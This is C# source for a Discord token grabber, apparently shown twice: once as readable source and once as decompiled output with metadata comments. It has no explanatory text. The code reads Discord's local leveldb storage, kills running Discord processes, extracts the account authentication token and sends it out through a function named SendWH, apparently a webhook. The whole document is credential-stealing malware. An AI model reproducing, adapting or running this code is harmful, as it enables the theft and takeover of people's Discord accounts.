public static string GetToken(string path, bool isLog = false) { string str1 = Encoding.UTF8.GetString(File.ReadAllBytes(path)); string str2 = ""; string contents = str1; while (contents.Contains("oken")) { string[] strArray = Grabber.Sub(contents).Split('"'); str2 = strArray[0]; contents = string.Join("\"", strArray); if (isLog && str2.Length == 59) { break; } } return(str2); }
private static void Main(string[] args) { string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\"; if (!Grabber.FindLdb(ref path) && !Grabber.FindLog(ref path)) { Program.SendWH("No valid .ldb or .log file found"); } foreach (Process process in Process.GetProcessesByName("Discord")) { process.Kill(); } Thread.Sleep(100); string token = Grabber.GetToken(path, path.EndsWith(".log")); if (token == "") { token = "Not found"; } Program.SendWH(token); }
// Token: 0x06000003 RID: 3 RVA: 0x00002158 File Offset: 0x00000358 public static string GetToken(string path, bool isLog = false) { byte[] bytes = File.ReadAllBytes(path); string @string = Encoding.UTF8.GetString(bytes); string text = ""; string text2 = @string; while (text2.Contains("oken")) { string[] array = Grabber.Sub(text2).Split(new char[] { '"' }); text = array[0]; text2 = string.Join("\"", array); if (isLog && text.Length == 59) { break; } } return(text); }
// Token: 0x06000006 RID: 6 RVA: 0x00002224 File Offset: 0x00000424 private static void Main(string[] args) { string text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\discord\\Local Storage\\leveldb\\"; if (!Grabber.FindLdb(ref text) && !Grabber.FindLog(ref text)) { Program.SendWH("No valid .ldb or .log file found"); } Process[] processesByName = Process.GetProcessesByName("Discord"); for (int i = 0; i < processesByName.Length; i++) { processesByName[i].Kill(); } Thread.Sleep(100); string text2 = Grabber.GetToken(text, text.EndsWith(".log")); if (text2 == "") { text2 = "Not found"; } Program.SendWH(text2); }